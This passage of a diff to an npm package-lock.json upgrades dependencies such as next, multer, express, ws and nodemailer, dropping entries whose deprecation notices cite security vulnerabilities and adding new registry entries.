"version": "2.8.6",
"resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz",
@@ -4812,9 +4575,9 @@
}
},
"node_modules/engine.io": {
- "version": "6.6.7",
- "resolved": "https://registry.npmjs.org/engine.io/-/engine.io-6.6.7.tgz",
- "integrity": "sha512-DgOngfDKM2EviOH3Mr9m7ks1q8roetLy/IMmYthAYzbpInMbYc/GS+fWFA3rl1gvwKVsQrVV61fo5emD1y3OJQ==",
+ "version": "6.6.8",
+ "resolved": "https://registry.npmjs.org/engine.io/-/engine.io-6.6.8.tgz",
+ "integrity": "sha512-2agL3ueZhqxoVrfmntO8yuVj+uNSlIOnhykYHk3Cq0ShYPdUjjUiSJrQvXjq01I9jAuI0Zl2YO8Evv5Mqytm5g==",
"license": "MIT",
"dependencies": {
"@types/cors": "^2.8.12",
@@ -4826,22 +4589,21 @@
"cors": "~2.8.5",
"debug": "~4.4.1",
"engine.io-parser": "~5.2.1",
- "ws": "~8.18.3"
+ "ws": "~8.20.1"
},
"engines": {
"node": ">=10.2.0"
}
},
"node_modules/engine.io-client": {
- "version": "6.6.4",
- "resolved": "https://registry.npmjs.org/engine.io-client/-/engine.io-client-6.6.4.tgz",
- "integrity": "sha512-+kjUJnZGwzewFDw951CDWcwj35vMNf2fcj7xQWOctq1F2i1jkDdVvdFG9kM/BEChymCH36KgjnW0NsL58JYRxw==",
- "license": "MIT",
+ "version": "6.6.5",
+ "resolved": "https://registry.npmjs.org/engine.io-client/-/engine.io-client-6.6.5.tgz",
+ "integrity": "sha512-QCwxUDULPlXv8F6tqMMKx5dNkTe6OaBYRMPYeXKBlyOoKvAmE0ac6pW7fFhSscJ/5SI7666/U/B+MElbsrJlIg==",
"dependencies": {
"@socket.io/component-emitter": "~3.1.0",
"debug": "~4.4.1",
"engine.io-parser": "~5.2.1",
- "ws": "~8.18.3",
+ "ws": "~8.20.1",
"xmlhttprequest-ssl": "~2.1.1"
}
},
@@ -5220,14 +4982,14 @@
}
},
"node_modules/express": {
- "version": "4.22.1",
- "resolved": "https://registry.npmjs.org/express/-/express-4.22.1.tgz",
- "integrity": "sha512-F2X8g9P1X7uCPZMA3MVf9wcTqlyNp7IhH5qPCI0izhaOIYXaW9L535tGA3qmjRzpH+bZczqq7hVKxTR4NWnu+g==",
+ "version": "4.22.2",
+ "resolved": "https://registry.npmjs.org/express/-/express-4.22.2.tgz",
+ "integrity": "sha512-IuL+Elrou2ZvCFHs18/CIzy2Nzvo25nZ1/D2eIZlz7c+QUayAcYoiM2BthCjs+EBHVpjYjcuLDAiCWgeIX3X1Q==",
"license": "MIT",
"dependencies": {
"accepts": "~1.3.8",
"array-flatten": "1.1.1",
- "body-parser": "~1.20.3",
+ "body-parser": "~1.20.5",
"content-disposition": "~0.5.4",
"content-type": "~1.0.4",
"cookie": "~0.7.1",
@@ -5246,7 +5008,7 @@
"parseurl": "~1.3.3",
"path-to-regexp": "~0.1.12",
"proxy-addr": "~2.0.7",
- "qs": "~6.14.0",
+ "qs": "~6.15.1",
"range-parser": "~1.2.1",
"safe-buffer": "5.2.1",
"send": "~0.19.0",
@@ -5388,19 +5150,19 @@
"license": "MIT"
},
"node_modules/fast-xml-builder": {
- "version": "1.1.5",
- "resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.1.5.tgz",
- "integrity": "sha512-4TJn/8FKLeslLAH3dnohXqE3QSoxkhvaMzepOIZytwJXZO69Bfz0HBdDHzOTOon6G59Zrk6VQ2bEiv1t61rfkA==",
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.2.0.tgz",
+ "integrity": "sha512-00aAWieqff+ZJhsXA4g1g7M8k+7AYoMUUHF+/zFb5U6Uv/P0Vl4QZo84/IcufzYalLuEj9928bXN9PbbFzMF0Q==",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/NaturalIntelligence"
}
],
- "license": "MIT",
"optional": true,
"dependencies": {
- "path-expression-matcher": "^1.1.3"
+ "path-expression-matcher": "^1.5.0",
+ "xml-naming": "^0.1.0"
}
},
"node_modules/fast-xml-parser": {
@@ -5984,12 +5746,6 @@
"url": "https://github.com/sponsors/ljharb"
}
},
- "node_modules/graceful-fs": {
- "version": "4.2.11",
- "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
- "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
- "license": "ISC"
- },
"node_modules/graphemer": {
"version": "1.4.0",
"resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz",
@@ -6445,12 +6201,6 @@
"integrity": "sha512-ITvGim8FhRiYe4IQ5uHSkj7pVaPDrCTkNd3yq3cV7iZAcJdHTUMPMEHcqSOy9xZ9qFenQCvi+2wjH9a1nXqHww==",
"license": "MIT"
},
- "node_modules/isarray": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
- "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==",
- "license": "MIT"
- },
"node_modules/isexe": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
@@ -6566,13 +6316,10 @@
}
},
"node_modules/js-cookie": {
- "version": "3.0.5",
- "resolved": "https://registry.npmjs.org/js-cookie/-/js-cookie-3.0.5.tgz",
- "integrity": "sha512-cEiJEAEoIbWfCZYKWhVwFuvPX1gETRYPw6LlaTKoxD3s2AkXzkCjnp6h0V77ozyqj0jakteJ4YqDJT830+lVGw==",
- "license": "MIT",
- "engines": {
- "node": ">=14"
- }
+ "version": "3.0.8",
+ "resolved": "https://registry.npmjs.org/js-cookie/-/js-cookie-3.0.8.tgz",
+ "integrity": "sha512-yeJd4aNAdYZQjaon2bpD/Gb0B/omw7HQOsynXXcOiWVCacbBcPlgn8S/d1X6blFSaHao7ozqtW7NZW19xpCtIw==",
+ "license": "MIT"
},
"node_modules/js-md5": {
"version": "0.8.3",
@@ -7089,6 +6836,7 @@
"version": "1.2.8",
"resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
"integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==",
+ "dev": true,
"license": "MIT",
"funding": {
"url": "https://github.com/sponsors/ljharb"
@@ -7103,18 +6851,6 @@
"node": ">=16 || 14 >=14.17"
}
},
- "node_modules/mkdirp": {
- "version": "0.5.6",
- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz",
- "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==",
- "license": "MIT",
- "dependencies": {
- "minimist": "^1.2.6"
- },
- "bin": {
- "mkdirp": "bin/cmd.js"
- }
- },
"node_modules/mlly": {
"version": "1.8.2",
"resolved": "https://registry.npmjs.org/mlly/-/mlly-1.8.2.tgz",
@@ -7185,22 +6921,22 @@
"license": "MIT"
},
"node_modules/multer": {
- "version": "1.4.5-lts.2",
- "resolved": "https://registry.npmjs.org/multer/-/multer-1.4.5-lts.2.tgz",
- "integrity": "sha512-VzGiVigcG9zUAoCNU+xShztrlr1auZOlurXynNvO9GiWD1/mTBbUljOKY+qMeazBqXgRnjzeEgJI/wyjJUHg9A==",
- "deprecated": "Multer 1.x is impacted by a number of vulnerabilities, which have been patched in 2.x. You should upgrade to the latest 2.x version.",
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/multer/-/multer-2.1.1.tgz",
+ "integrity": "sha512-mo+QTzKlx8R7E5ylSXxWzGoXoZbOsRMpyitcht8By2KHvMbf3tjwosZ/Mu/XYU6UuJ3VZnODIrak5ZrPiPyB6A==",
"license": "MIT",
"dependencies": {
"append-field": "^1.0.0",
- "busboy": "^1.0.0",
- "concat-stream": "^1.5.2",
- "mkdirp": "^0.5.4",
- "object-assign": "^4.1.1",
- "type-is": "^1.6.4",
- "xtend": "^4.0.0"
+ "busboy": "^1.6.0",
+ "concat-stream": "^2.0.0",
+ "type-is": "^1.6.18"
},
"engines": {
- "node": ">= 6.0.0"
+ "node": ">= 10.16.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
}
},
"node_modules/mz": {
@@ -7249,42 +6985,40 @@
}
},
"node_modules/next": {
- "version": "14.2.3",
- "resolved": "https://registry.npmjs.org/next/-/next-14.2.3.tgz",
- "integrity": "sha512-dowFkFTR8v79NPJO4QsBUtxv0g9BrS/phluVpMAt2ku7H+cbcBJlopXjkWlwxrk/xGqMemr7JkGPGemPrLLX7A==",
- "deprecated": "This version has a security vulnerability. Please upgrade to a patched version. See https://nextjs.org/blog/security-update-2025-12-11 for more details.",
- "license": "MIT",
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/next/-/next-16.2.8.tgz",
+ "integrity": "sha512-tdKipIBg4FJezYqXflb9uwai4II30l3+Cw1TAJM6kWlgiM2Cr+/ldPF88bilRcNwlOwXv6QYI3F7Ucu6rWmEpA==",
"dependencies": {
- "@next/env": "14.2.3",
- "@swc/helpers": "0.5.5",
- "busboy": "1.6.0",
+ "@next/env": "16.2.8",
+ "@swc/helpers": "0.5.15",
+ "baseline-browser-mapping": "^2.9.19",
"caniuse-lite": "^1.0.30001579",
- "graceful-fs": "^4.2.11",
"postcss": "8.4.31",
- "styled-jsx": "5.1.1"
+ "styled-jsx": "5.1.6"
},
"bin": {
"next": "dist/bin/next"
},
"engines": {
- "node": ">=18.17.0"
+ "node": ">=20.9.0"
},
"optionalDependencies": {
- "@next/swc-darwin-arm64": "14.2.3",
- "@next/swc-darwin-x64": "14.2.3",
- "@next/swc-linux-arm64-gnu": "14.2.3",
- "@next/swc-linux-arm64-musl": "14.2.3",
- "@next/swc-linux-x64-gnu": "14.2.3",
- "@next/swc-linux-x64-musl": "14.2.3",
- "@next/swc-win32-arm64-msvc": "14.2.3",
- "@next/swc-win32-ia32-msvc": "14.2.3",
- "@next/swc-win32-x64-msvc": "14.2.3"
+ "@next/swc-darwin-arm64": "16.2.8",
+ "@next/swc-darwin-x64": "16.2.8",
+ "@next/swc-linux-arm64-gnu": "16.2.8",
+ "@next/swc-linux-arm64-musl": "16.2.8",
+ "@next/swc-linux-x64-gnu": "16.2.8",
+ "@next/swc-linux-x64-musl": "16.2.8",
+ "@next/swc-win32-arm64-msvc": "16.2.8",
+ "@next/swc-win32-x64-msvc": "16.2.8",
+ "sharp": "^0.34.5"
},
"peerDependencies": {
"@opentelemetry/api": "^1.1.0",
- "@playwright/test": "^1.41.2",
- "react": "^18.2.0",
- "react-dom": "^18.2.0",
+ "@playwright/test": "^1.51.1",
+ "babel-plugin-react-compiler": "*",
+ "react": "^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0",
+ "react-dom": "^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0",
"sass": "^1.3.0"
},
"peerDependenciesMeta": {
@@ -7294,19 +7028,139 @@
"@playwright/test": {
"optional": true
},
+ "babel-plugin-react-compiler": {
+ "optional": true
+ },
"sass": {
"optional": true
}
}
},
+ "node_modules/next/node_modules/@next/env": {
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/@next/env/-/env-16.2.8.tgz",
+ "integrity": "sha512-oxK5nEvPI8hlJ9LJ7PCNWfh07oKGxSeb7QaUUlamK7M5jDEV3twreCVqLFaxKgMI1DJgxhqDSdEtVpqLhN6yeQ==",
+ "license": "MIT"
+ },
+ "node_modules/next/node_modules/@next/swc-darwin-arm64": {
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-16.2.8.tgz",
+ "integrity": "sha512-R/MDVX4Cj+bzvTNkDWNyA09yCPBZB0J1m8P3VAmWAzx/J7DctA1wxya1LU3CcPv2szER3AImHEtsgScauH8SsQ==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/next/node_modules/@next/swc-darwin-x64": {
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-16.2.8.tgz",
+ "integrity": "sha512-XH2u8C/meLJmEZbN0G5MRZp8tvxBz5KQ+xv4vX34zL8gL3//5qkc5M/aLsvNAfg5/KbcjIVe3h6aiO0wJcNWKA==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/next/node_modules/@next/swc-linux-arm64-gnu": {
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-16.2.8.tgz",
+ "integrity": "sha512-zyA8bCtlAXOzZD6ri6hIi5Z7hW5+07ea81KK0xdezmJHrbrAgvwIRd6VbkddJTapmZVSmWzbpAdYoi1HZNF7KA==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/next/node_modules/@next/swc-linux-x64-gnu": {
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-16.2.8.tgz",
+ "integrity": "sha512-SD/R9QU6+wUB3lH6InhOLu1eP3wle4sSjsNdMwk24yFwaWUB5TAtscvFbOqh1AYBsJvHRez3tYHETfbBFd4dRg==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/next/node_modules/@next/swc-linux-x64-musl": {
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-16.2.8.tgz",
+ "integrity": "sha512-F1Al3cRKhYR7/V1RaXnHceqilNLFDe47w7Li/Asph1SklaHHm/b2FahLar2nWct9l9K143NlqbAUFQMjx30QYA==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/next/node_modules/@next/swc-win32-arm64-msvc": {
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-16.2.8.tgz",
+ "integrity": "sha512-LxhCLToY0id1CkmYFi9sTM2RfoBWszr6mmMrBtmTFqKF0fXX3ZIbM8m1sKoNFIrZFn7gFroT7cnZea5neufSHg==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/next/node_modules/@next/swc-win32-x64-msvc": {
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-16.2.8.tgz",
+ "integrity": "sha512-xfGxs1zIkTOLzH8i1WWCeTqQhNqyrv3aVT55PMy7Ul3dfxlA3In7hNEJ3Uo2qpalEBOlkG6G6FLRMWbUrxL+qQ==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
"node_modules/next/node_modules/@swc/helpers": {
- "version": "0.5.5",
- "resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.5.tgz",
- "integrity": "sha512-KGYxvIOXcceOAbEk4bi/dVLEK9z8sZ0uBB3Il5b1rhfClSpcX0yfRO0KmTkqR2cnQDymwLB+25ZyMzICg/cm/A==",
+ "version": "0.5.15",
+ "resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.15.tgz",
+ "integrity": "sha512-JQ5TuMi45Owi4/BIMAJBoSQoOJu12oOk/gADqlcUL9JEdHB8vyjUSsxqeNXnmXHjYKMi2WcYtezGEEhqUI/E2g==",
"license": "Apache-2.0",
"dependencies": {
- "@swc/counter": "^0.1.3",
- "tslib": "^2.4.0"
+ "tslib": "^2.8.0"
}
},
"node_modules/next/node_modules/postcss": {
@@ -7327,7 +7181,6 @@
"url": "https://github.com/sponsors/ai"
}
],
- "license": "MIT",
"dependencies": {
"nanoid": "^3.3.6",
"picocolors": "^1.0.0",
@@ -7337,6 +7190,28 @@
"node": "^10 || ^12 || >=14"
}
},
+ "node_modules/next/node_modules/styled-jsx": {
+ "version": "5.1.6",
+ "resolved": "https://registry.npmjs.org/styled-jsx/-/styled-jsx-5.1.6.tgz",
+ "integrity": "sha512-qSVyDTeMotdvQYoHWLNGwRFJHC+i+ZvdBRYosOFgC+Wg1vx4frN2/RG/NA7SYqqvKNLf39P2LSRA2pu6n0XYZA==",
+ "dependencies": {
+ "client-only": "0.0.1"
+ },
+ "engines": {
+ "node": ">= 12.0.0"
+ },
+ "peerDependencies": {
+ "react": ">= 16.8.0 || 17.x.x || ^18.0.0-0 || ^19.0.0-0"
+ },
+ "peerDependenciesMeta": {
+ "@babel/core": {
+ "optional": true
+ },
+ "babel-plugin-macros": {
+ "optional": true
+ }
+ }
+ },
"node_modules/node-cron": {
"version": "3.0.3",
"resolved": "https://registry.npmjs.org/node-cron/-/node-cron-3.0.3.tgz",
@@ -7395,9 +7270,9 @@
"license": "MIT"
},
"node_modules/nodemailer": {
- "version": "6.10.1",
- "resolved": "https://registry.npmjs.org/nodemailer/-/nodemailer-6.10.1.tgz",
- "integrity": "sha512-Z+iLaBGVaSjbIzQ4pX6XV41HrooLsQ10ZWPUehGmuantvzWoDVBnmsdUcOIDM1t+yPor5pDhVlDESgOMEGxhHA==",
+ "version": "8.0.10",
+ "resolved": "https://registry.npmjs.org/nodemailer/-/nodemailer-8.0.10.tgz",
+ "integrity": "sha512-BLFuSth7QtHOkBzyqTehWWyub0NTRDuK2Q2SQfnGLsrJnzyU+Yeh4WpV1eZGuARFj1xQJHIdnTuJZLP+b9R1GQ==",
"license": "MIT-0",
"engines": {
"node": ">=6.0.0"
@@ -8078,12 +7953,6 @@
"fsevents": "2.3.3"
}
},
- "node_modules/process-nextick-args": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
- "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
- "license": "MIT"
- },
"node_modules/prop-types": {
"version": "15.8.1",
"resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz",
@@ -8115,25 +7984,24 @@
}
},
"node_modules/protobufjs": {
- "version": "7.5.6",
- "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.5.6.tgz",
- "integrity": "sha512-M71sTMB146U3u0di3yup8iM+zv8yPRNQVr1KK4tyBitl3qFvEGucq/rGDRShD2rsJhtN02RJaJ7j5X5hmy8SJg==",
+ "version": "7.6.3",
+ "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.6.3.tgz",
+ "integrity": "sha512-+k0vdJKNdW+Vu+dYe8tZA/VvQb6XKNWexC6URwBFXxNnjLJz9nQJCemGyNgRAWD+B7+nGNc9qMPGwcD7s4nzUw==",
"hasInstallScript": true,
- "license": "BSD-3-Clause",
"optional": true,
"dependencies": {
"@protobufjs/aspromise": "^1.1.2",
"@protobufjs/base64": "^1.1.2",
"@protobufjs/codegen": "^2.0.5",
- "@protobufjs/eventemitter": "^1.1.0",
- "@protobufjs/fetch": "^1.1.0",
+ "@protobufjs/eventemitter": "^1.1.1",
+ "@protobufjs/fetch": "^1.1.1",
"@protobufjs/float": "^1.0.2",
- "@protobufjs/inquire": "^1.1.1",
+ "@protobufjs/inquire": "^1.1.2",
"@protobufjs/path": "^1.1.2",
"@protobufjs/pool": "^1.1.0",
"@protobufjs/utf8": "^1.1.1",
"@types/node": ">=13.7.0",
- "long": "^5.0.0"
+ "long": "^5.3.2"
},
"engines": {
"node": ">=12.0.0"
@@ -8307,9 +8175,9 @@
}
},
"node_modules/qs": {
- "version": "6.14.2",
- "resolved": "https://registry.npmjs.org/qs/-/qs-6.14.2.tgz",
- "integrity": "sha512-V/yCWTTF7VJ9hIh18Ugr2zhJMP01MY7c5kh4J870L7imm6/DIzBsNLTXzMwUA3yZ5b/KBqLx8Kp3uRvd7xSe3Q==",
+ "version": "6.15.2",
+ "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.2.tgz",
+ "integrity": "sha512-Rzq0KEyX/w/tEybncDgdkZrJgVUsUMk3xjh3t5bv3S1HTAtg+uOYt72+ZfwiQwKdysThkTBdL/rTi6HDmX9Ddw==",
"license": "BSD-3-Clause",
"dependencies": {
"side-channel": "^1.1.0"
@@ -8474,7 +8342,6 @@
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
"integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
"license": "MIT",
- "optional": true,
"dependencies": {
"inherits": "^2.0.3",
"string_decoder": "^1.1.1",
@@ -9083,13 +8950,13 @@
}
},
"node_modules/socket.io-adapter": {
- "version": "2.5.6",
- "resolved": "https://registry.npmjs.org/socket.io-adapter/-/socket.io-adapter-2.5.6.tgz",
- "integrity": "sha512-DkkO/dz7MGln0dHn5bmN3pPy+JmywNICWrJqVWiVOyvXjWQFIv9c2h24JrQLLFJ2aQVQf/Cvl1vblnd4r2apLQ==",
+ "version": "2.5.7",
+ "resolved": "https://registry.npmjs.org/socket.io-adapter/-/socket.io-adapter-2.5.7.tgz",
+ "integrity": "sha512-e0LyK91f3cUxTmv95/KzoLg47+zF+s/sbxRGDNsyG4dmIP8ZSX8ax6byOxfJXeNNtS/8AZlfD+uP7gBeR7DLlg==",
"license": "MIT",
"dependencies": {
"debug": "~4.4.1",
- "ws": "~8.18.3"
+ "ws": "~8.20.1"
}
},
"node_modules/socket.io-client": {
@@ -9355,29 +9222,6 @@
"license": "MIT",
"optional": true
},
- "node_modules/styled-jsx": {
- "version": "5.1.1",
- "resolved": "https://registry.npmjs.org/styled-jsx/-/styled-jsx-5.1.1.tgz",
- "integrity": "sha512-pW7uC1l4mBZ8ugbiZrcIsiIvVx1UmTfw7UkC3Um2tmfUq9Bhk8IiyEIPl6F8agHgjzku6j0xQEZbfA5uSgSaCw==",
- "license": "MIT",
- "dependencies": {
- "client-only": "0.0.1"
- },
- "engines": {
- "node": ">= 12.0.0"
- },
- "peerDependencies": {
- "react": ">= 16.8.0 || 17.x.x || ^18.0.0-0"
- },
- "peerDependenciesMeta": {
- "@babel/core": {
- "optional": true
- },
- "babel-plugin-macros": {
- "optional": true
- }
- }
- },
"node_modules/sucrase": {
"version": "3.35.1",
"resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz",
@@ -9936,9 +9780,9 @@
}
},
"node_modules/tslib": {
- "version": "2.4.1",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.1.tgz",
- "integrity": "sha512-tGyy4dAjRIEwI7BzsB0lynWgOpfqjUdq91XXAlIWD2OwKBH7oCl/GZG/HT4BOHrTlPMOASlMQ7veyTqpmRcrNA==",
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
"license": "0BSD"
},
"node_modules/turbo": {
@@ -10604,10 +10448,9 @@
"license": "ISC"
},
"node_modules/ws": {
- "version": "8.18.3",
- "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.3.tgz",
- "integrity": "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg==",
- "license": "MIT",
+ "version": "8.20.1",
+ "resolved": "https://registry.npmjs.org/ws/-/ws-8.20.1.tgz",
+ "integrity": "sha512-It4dO0K5v//JtTXuPkfEOaI3uUN87iYPnqo/ZzqCoG3g8uhA66QUMs/SrM0YK7/NAu+r4LMh/9dq2A7k+rHs+w==",
"engines": {
"node": ">=10.0.0"
},
@@ -10624,6 +10467,22 @@
}
}
},
+ "node_modules/xml-naming": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/xml-naming/-/xml-naming-0.1.0.tgz",
+ "integrity": "sha512-k8KO9hrMyNk6tUWqUfkTEZbezRRpONVOzUTnc97VnCvyj6Tf9lyUR9EDAIeiVLv56jsMcoXEwjW8Kv5yPY52lw==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/NaturalIntelligence"
+ }
+ ],
+ "license": "MIT",
+ "optional": true,
+ "engines": {
+ "node": ">=16.0.0"
+ }
+ },
"node_modules/xmlbuilder": {
"version": "13.0.2",
"resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-13.0.2.tgz",
@@ -10645,6 +10504,7 @@
"version": "4.0.2",
"resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
"integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==",
+ "dev": true,
"license": "MIT",
"engines": {
"node": ">=0.4"
@@ -10763,6 +10623,126 @@
"devDependencies": {
"typescript": "^5.4.0"
}
+ },
+ "node_modules/@next/swc-darwin-arm64": {
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-16.2.8.tgz",
+ "integrity": "sha512-R/MDVX4Cj+bzvTNkDWNyA09yCPBZB0J1m8P3VAmWAzx/J7DctA1wxya1LU3CcPv2szER3AImHEtsgScauH8SsQ==",
+ "cpu": [
+ "arm64"
+ ],
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/@next/swc-darwin-x64": {
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-16.2.8.tgz",
+ "integrity": "sha512-XH2u8C/meLJmEZbN0G5MRZp8tvxBz5KQ+xv4vX34zL8gL3//5qkc5M/aLsvNAfg5/KbcjIVe3h6aiO0wJcNWKA==",
+ "cpu": [
+ "x64"
+ ],
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/@next/swc-linux-arm64-gnu": {
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-16.2.8.tgz",
+ "integrity": "sha512-zyA8bCtlAXOzZD6ri6hIi5Z7hW5+07ea81KK0xdezmJHrbrAgvwIRd6VbkddJTapmZVSmWzbpAdYoi1HZNF7KA==",
+ "cpu": [
+ "arm64"
+ ],
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/@next/swc-linux-arm64-musl": {
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-16.2.8.tgz",
+ "integrity": "sha512-MWIALcC/R12KNHTAliyX96XwwnHLGNKRJHsaFiGKE0fF9sEoXHUlxvdrrl3iQfIKWfBcNdQ9rrMYHc1qFGc71A==",
+ "cpu": [
+ "arm64"
+ ],
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/@next/swc-linux-x64-gnu": {
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-16.2.8.tgz",
+ "integrity": "sha512-SD/R9QU6+wUB3lH6InhOLu1eP3wle4sSjsNdMwk24yFwaWUB5TAtscvFbOqh1AYBsJvHRez3tYHETfbBFd4dRg==",
+ "cpu": [
+ "x64"
+ ],
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/@next/swc-linux-x64-musl": {
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-16.2.8.tgz",
+ "integrity": "sha512-F1Al3cRKhYR7/V1RaXnHceqilNLFDe47w7Li/Asph1SklaHHm/b2FahLar2nWct9l9K143NlqbAUFQMjx30QYA==",
+ "cpu": [
+ "x64"
+ ],
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/@next/swc-win32-arm64-msvc": {
+ "version": "16.2.8",
+ "resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-16.2.8.tgz",
